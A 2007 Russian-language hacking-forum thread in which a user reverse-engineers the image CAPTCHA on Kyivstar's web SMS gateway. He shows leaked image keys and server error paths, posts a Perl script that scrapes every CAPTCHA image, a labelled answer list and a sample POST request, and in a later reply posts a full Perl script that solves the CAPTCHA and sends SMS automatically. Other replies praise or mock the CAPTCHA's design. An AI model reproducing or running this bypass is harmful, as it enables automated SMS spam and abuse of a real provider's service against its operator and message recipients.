ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

kyivstar CAPTCHA III(полное разоблачение)
  #1  
Старый 05.08.2007, 04:22
Аватар для demonoid
demonoid
Banned
Регистрация: 12.01.2007
Сообщений: 113
Провел на форуме:
4094601

Репутация: 495
По умолчанию kyivstar CAPTCHA III(полное разоблачение)

kyivstar CAPTCHA III(полное разоблачение)
Предыстория



2 августа была изменена система защиты( CAPTCHA ).
3 августа , мною был найден баг подробней тут _https://forum.antichat.ru/thread44779.html.
4 августа ошибки уже были исправлены ( оперативно ).
4 августа ( вечером ) изучения "переделанной" capth'и ,были изчерпаными .

История изучения

Зайдя на _www.kyivstar.net/sms/ система предложила мне указать "Номер телефону" ,выбрать "Набір символів" и написать "Текст повідомлення".
Открыл сорс начал бегать глазами и нашел интересный момент (указан отредактированный фрагмент кода)

Код:
.....
<p class="header">
Для того, щоб надіслати SMS,<br/>
вкажіть 2 картинки живої природи.
image-number="1" ...<img src="22B547867D97629D9627ADCAEE246F22e475e353f082678331"...
image-number="2" ...<img src="A1D42D05FC982AA3E1C053382C9D2229e475e353f082678341"...
                 ...<img src="8A8EC206ACC445084C34B086F01204D8e475e353f082678355"...
                        ....="BE6601BE804C5DCCF633B94C0515E09Ee475e353f082678364"...
                        ....="4A4DF8EC973931AC92B8D7CBA7159B79e475e353f082678337"...
                        ....="2C97C4C704D8B66185188A829CE8E97Ce475e353f082678362"...
                        ....="C30FDBB169DBAFC401D22424B32CF698e475e353f082678335"...
                        ....."DD3E31B6944D54737A851A6C66B8BB17e475e353f082678327"...
                        ....."847B9DF288414004D499840CE1555CDFe475e353f082678342"...
</div>
......
Когда я введу номер и сообщение , система мне скажет укажи 2-е картинки живой природы.
Зайдя по ссылке www.kyivstar.net/_sms/22B547867D97629D9627ADCAEE246F22e475e353f082678331
Система показала мне картину ,это была живая природа! Ай думаю "2 картинки" 1-ну уже нашел пойду вторую найду..
Перебирая нашел вот она "DD3E31B6944D54737A851A6C66B8BB17e475e353f082678327".Позже начал всматриваться во все картинки ( а вернее в их ключ ),
уж больно они похожи были , логически разбил их части , вот что у меня вышло

Код:
1_img:"22B547867D97629D9627ADCAEE246F22"  "e475e353f0826783"  "31" ( живая природа )
2_img:"A1D42D05FC982AA3E1C053382C9D2229"  "e475e353f0826783"  "41"
3_img:"8A8EC206ACC445084C34B086F01204D8"  "e475e353f0826783"  "55"
4_img:"BE6601BE804C5DCCF633B94C0515E09E"  "e475e353f0826783"  "64"
5_img:"4A4DF8EC973931AC92B8D7CBA7159B79"  "e475e353f0826783"  "37"
6_img:"2C97C4C704D8B66185188A829CE8E97C"  "e475e353f0826783"  "62"
7_img:"C30FDBB169DBAFC401D22424B32CF698"  "e475e353f0826783"  "35"
8_img:"DD3E31B6944D54737A851A6C66B8BB17"  "e475e353f0826783"  "27" ( живая природа ) 
9_img:"847B9DF288414004D499840CE1555CDF"  "e475e353f0826783"  "42"
Красиво разбились неправда-ли ?
После маленький модификаций ключа ( всего целиком ) , пришел к выводу:

-первый ключ длинной 32 это позиция звёздочки на картинке ( длинна константа )
-следующие цифры ( это константа текущего соединения) ( длина не постоянна )
-последние две цифры , это картинка ("природа" или "не природа")

Как я пришел к выводу , что последние две цифры это картинка ?.
Просто когда я глумился на ключём ( хаотично менял последние цифры ) менялась суть картинки ,
но когда я поменял последние 2 цифры на "01" ( пример ключа: "847B9DF288414004D499840CE1555CDFe475e353f082678301" ) ,
выскочила ошибка:


Код:
Warning: imagecreatefromjpeg(/var/www.kyivstar.net/www/i/sms_images/01.jpg) [function.imagecreatefromjpeg]: failed to open stream: No such file or directory in /var/www.kyivstar.net/www/_sms/_image.php on line 12
Warning: imagealphablending(): supplied argument is not a valid Image resource in /var/www.kyivstar.net/www/_sms/_image.php on line 14
Warning: imagesx(): supplied argument is not a valid Image resource in /var/www.kyivstar.net/www/_sms/_image.php on line 35
Warning: imagesy(): supplied argument is not a valid Image resource in /var/www.kyivstar.net/www/_sms/_image.php on line 36
...........
Опа! последние две цифры это картинка , в ошибке это чётко видно - система не может найти фай "01.jpg".
Решил составить свою базу картинок .Но не перебирать же мне руками значения от 0 до 99
Написал скрипт скачки картинок :

Код:
#!/usr/bin/perl
use LWP::UserAgent;
use strict;

print "\t\tks_exemple.pl ~ / Kyivstar Image downloader /\n".
      "\t\t\tby demonoid 212-905-288\n".
      "\t\tspecical for forum.antichat.ru / 04.08.2007 /\n\n";      
      
my $path    = "C:/img/";
my $errfile = "error_img.log";
my $gdfile  = "good_img.log";
my $img;

open(ERR_FILE,">>$path$errfile") || exit print "[-]Cant open $errfile\n";
open(GD_FILE, ">>$path$gdfile")  || exit print "[-]Cant open $gdfile\n";

my $ua = LWP::UserAgent -> new;
for(0..99)
{ 
  $img="http://www.kyivstar.net/i/sms_images/$_.jpg";
  my $resp=$ua -> get("$img", ':content_file' => "$path$_.jpg");
  if( $resp->status_line =~/404/ ) { print ERR_FILE "$_.jpg\n"; }
  else                             { print GD_FILE  "$_.jpg\n"; }
  
}

print "Look file:\n".
      "~~~~~~~~~~~\n".
       "[-]Not Found image -> $errfile\n".
       "[+]    Found image -> $gdfile\n"; 
       
close ERR_FILE;
close GD_FILE;
Смотрим какие картинки удачно скачаны в "good_img.log" всего там 36 штук.
Теперь глазками визуально смотрим на эти картинки в этой же папке, и одновременно пущем базу "природа"

Код:
ПРИРОДА(17)     24,25,26,27,29,30,31,34,48,54,58,59,60,61,65,66,67
НЕПРИРОДА(19)   32,33,35,37,39,41,42,45,46,47,49,50,51,53,55,56,62,63,64
Теперь мы можем научить наш скрипт распознавать природу неприроду т.к база уже есть.


Второй интересный момент( отредактированный код ):
Код:
.....
<input type="hidden" name="code" id="code_1" value="1186249808" />
<input type="hidden" name="code" id="code_2" value="96342973" />
..... id="code_3" value="FF6765EE1D14EBBB24DC5235749B7539B0315C466DD56E14860F6BC6D30796DB068725D087616963650BCCB941B74C4795904E6CCC3F8D63" />
..... id="code_4" value="" />
......id="code_2" value="102984129" />
......id="code_4" value="6B233ABC50FC6E19941920F7C6C50DDC" />
..... id="code_4" value="94D26219B6644ED69D9914EF03D6E0EAE1EADD179D108E92" />
......id="code_4" value="BDFB6030FF0BAF0D" />
.......
как я понял это вспомогательные ключи для рандома звёздочки и природы ( глубоко изучать их не будем т.к. они не несут важной информации , мы их просто вставим в пакет )

пример пакета:
Код:
POST /_sms/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-icq, */*
Referer: http://www.kyivstar.net/_sms/?lang=ua
Accept-Language: ru
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Host: www.kyivstar.net
Content-Length: 365
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: countSms=0; isUserLogined=false; messageID=20070804193602.08D77B%40messenger; countSms=18; messageID=20070803183306.462EA7%40messenger; isUserLogined=false

submitted=true
&lang=ua
&sms_adv=3
&mobcode=097
&number=XXXXXXX
&lat=1
&message=polo
&code=1186249808
&code=96342973
&code=FF6765EE1D14EBBB24DC5235749B7539B0315C466DD56E14860F6BC6D30796DB068725D087616963650BCCB941B74C4795904E6CCC3F8D63
&code=0108
&code=102984129
&code=6B233ABC50FC6E19941920F7C6C50DDC
&code=4D26219B6644ED69D9914EF03D6E0EAE1EADD179D108E92
&code=BDFB6030FF0BAF0D
всё ясно всё значение code берём из вспомогательных ключей , кроме code=0108 , это как можно было догадаться позиции картинки смотрим выше
Код:
 
1_img:"22B547867D97629D9627ADCAEE246F22"  "e475e353f0826783"  "31" ( живая природа )
8_img:"DD3E31B6944D54737A851A6C66B8BB17"  "e475e353f0826783"  "27" ( живая природа )
1-я и 8-я картинка вот и вышло "0108"

Дальше я хотел написать пример отправки сообщения , но понимаю что всё это обратиться в спам , поэтому не буду выкладывать примеры ,
и так выложил много пищи для ума.

Важно :
1-Материал исключительно в ознакомительных целях!
2-Автор этой статьи не несёт ответственность за возможные последствия использования материала в целях, запрещенных УК Укр. и нормами международного права.

Последний раз редактировалось demonoid; 10.11.2007 в 21:54.. Причина: тематические ошибки
 
Ответить с цитированием

  #2  
Старый 05.08.2007, 05:57
Аватар для vvs777
vvs777
Познавший АНТИЧАТ
Регистрация: 16.11.2004
Сообщений: 1,257
Провел на форуме:
1331503

Репутация: 454


Отправить сообщение для vvs777 с помощью ICQ Отправить сообщение для vvs777 с помощью AIM
По умолчанию

Вообщем очередной антиспам-защите пришел белый и пушистый.
Первая "картинка" от КС (с кукой ) была несколько лет. Вторая - месяц.
С момента введения третьей до ее взлома прошло примерно 4-6 часов.
В тот же день тот баг пофиксили.
На следующий день (т.е сегодня) всю систему вскрыли с потрохами
Что же будет дальше?
Цитата:
- я взломаю эту систему за 5 минут
- а я за 3
- взламывай...
Вообщем угадай мело... тьфу. систему получается.

Это очередной раз доказывает то что нет ничего что нельзя взломать. Вопрос только в наличии желания и свободного времени.

Новый респект demonoid'у.
Расшифровать код не всегда просто.

Я еще опять собирался решить задачу "влоб" - думал организовать распознавание картинки по размеру файла (ибо это не бмп где все равны) но это дело не пошло т.к. заездочка все портит. Размер имеет большой среднестатистический разброс и перекрывается с размерами других картинок....
 
Ответить с цитированием

  #3  
Старый 05.08.2007, 06:01
Аватар для inv
inv
Banned
Регистрация: 03.08.2007
Сообщений: 313
Провел на форуме:
951141

Репутация: 291
По умолчанию

Цитата:
Это очередной раз доказывает то что нет ничего что нельзя взломать. Вопрос только в наличии желания и свободного времени.
Это вообще ничего не доказывает: )Ну может только неродивость авторов скрипта.
 
Ответить с цитированием

  #4  
Старый 05.08.2007, 06:08
Аватар для demonoid
demonoid
Banned
Регистрация: 12.01.2007
Сообщений: 113
Провел на форуме:
4094601

Репутация: 495
По умолчанию

Немного об авторах
Lebedev Studio
Студия Артемия Лебедева _http://www.artlebedev.ru

//http://kyivstar.net/_sms/x_forms_with_code.js
 
Ответить с цитированием

  #5  
Старый 06.08.2007, 00:42
Аватар для Knight_of_Darkness
Knight_of_Darkness
Познающий
Регистрация: 03.02.2007
Сообщений: 94
Провел на форуме:
267066

Репутация: 165
По умолчанию

А теперь что? Пофиксят и эту? Как же они пофиксили ту? Или админы КС тусят на античате, или им кто-то настучал с АНТИЧАТА. Или юзают гугл. Что же дальше будет-то?
 
Ответить с цитированием

  #6  
Старый 06.08.2007, 03:58
Аватар для vvs777
vvs777
Познавший АНТИЧАТ
Регистрация: 16.11.2004
Сообщений: 1,257
Провел на форуме:
1331503

Репутация: 454


Отправить сообщение для vvs777 с помощью ICQ Отправить сообщение для vvs777 с помощью AIM
По умолчанию

Дальше будет или открытие следующего бага или конец света.
Одно из двух имхо. Причем второе менее вероятно

Последний раз редактировалось vvs777; 07.08.2007 в 03:02..
 
Ответить с цитированием

  #7  
Старый 08.08.2007, 20:42
Аватар для demonoid
demonoid
Banned
Регистрация: 12.01.2007
Сообщений: 113
Провел на форуме:
4094601

Репутация: 495
По умолчанию

Пофиксили , пример отправки был такой:

Код:
 
#!/usr/bin/perl

use LWP::UserAgent;
use strict;
use warnings;

print q(
         -------------------------------------- 
        |                          | - | + | x |
         -------------------------------------- 
        |   specical for antichat.ru   _______ |
        |   ------------------------- |       ||  
        |      icq:212-905-288        |   ?   ||
        |   ------------------------- |_______||
         -------------------------------------- );

  my $ua  = LWP::UserAgent->new;
  my $url = 'http://www.kyivstar.net/_sms/';
  
  my @good_img = ( '22','24','25','26','27','29','30',
                   '31','34','48','54','58','59',
                   '60','61','65','66','67' );
                                   
  my ( $count ,$i ,$len_c ,$code_4,$k,$curr_n_img );
  my ( @n_img,@img_code,@con_code);



  my $request = HTTP::Request->new(GET => $url);
  my $response = $ua->request($request);
  my $res = $response->content;
  #print $res; 
  @img_code = ( $res =~ m/<img src="(\w+)"/gi);
  @con_code = ( $res =~ m/<input type="hidden" name="code" id="code_(\d+)" value="(\w+)"/gi);
  

  for(0..8) 
  {
         $i++;
         $len_c = length($img_code[$_]);
         $n_img[$i] = substr($img_code[$_],$len_c-2,2);
         #print "$i| $img_code[$_] = $n_img[$i]\n"; 
  }
 
 

   for(0..8)
   {
      $k++;
      $curr_n_img = $n_img[$k];
      for(0..17)
      {
         if( $curr_n_img == $good_img[$_] ) 
         { 
            #print "[$k] $curr_n_img\n"; 
            $code_4.="0$k";
         }
      }
   }
$con_code[4]=$code_4; #check
send_function(@con_code);




#----------------------------------
sub send_function
{
  #exit;
  my @code=@_;
  my $browser = LWP::UserAgent->new; 			   
     $browser->agent('New captcha v3.0');	
     #$browser->proxy(['http'] => 'http://218.223.221.217:8080/');  
	 
  my $mob_code     = "097";
  my $mob_number   = "XXXXXXX";
  my $messenge     = "hello_antichat.ru";


  printf "\n\n\t[+]Send   %s-%s \n\tmessage:  \<<%s\>> \n",
          $mob_code,$mob_number,$messenge ;
    
  my $url="http://kyivstar.net/_sms/";
  my $response = $browser->post($url,
       ["submitted"    => "true",        
        "lang"         => "ua",
        "sms_adv"      => "101",       
        "mobcode"      => $mob_code,
        "number"       => $mob_number, 
        "lat"          => 1,
        "message"      => $messenge,
        "code"         => $code[1],
        "code"         => $code[3],
        "code"         => $code[5],
        "code"         => $code[4],#check
        "code"         => $code[7],
        "code"         => $code[9],
        "code"         => $code[11],
        "code"         => $code[13]],
        "Content-Type" => "application/x-www-form-urlencoded",
        "Referer"      => "http://kyivstar.net/_sms/",
        "Connection"   => "Keep-Alive",
        "Cache-Control"=> "no-cache");	
  my $status= $response->as_string();
    ( $status =~/messageID/g )?print "[+] Good send\n":print "[-] Not send!";
  

}

Последний раз редактировалось demonoid; 10.11.2007 в 21:56..
 
Ответить с цитированием

  #8  
Старый 09.08.2007, 16:42
Аватар для _Great_
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

Цитата:
Опа! последние два бита это картинка , в ошибке это чётко видно
Биты это двоичные биты, а это не биты, а цифры )
 
Ответить с цитированием

  #9  
Старый 09.08.2007, 19:47
Аватар для nerezus
nerezus
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме:
6490435

Репутация: 2290


Отправить сообщение для nerezus с помощью ICQ
По умолчанию

Цитата:
Это вообще ничего не доказывает: )Ну может только неродивость авторов скрипта.
+1.
Криворукий писака сделал капчу.
 
Ответить с цитированием

  #10  
Старый 09.08.2007, 21:02
Аватар для demonoid
demonoid
Banned
Регистрация: 12.01.2007
Сообщений: 113
Провел на форуме:
4094601

Репутация: 495
По умолчанию

Цитата:
Сообщение от _Great_  
Биты это двоичные биты, а это не биты, а цифры )
Вот это я чушь написал , спасибо сейчас отредактирую.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
kyivstar CAPTHA III demonoid PHP, PERL, MySQL, JavaScript 14 04.08.2007 09:16



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ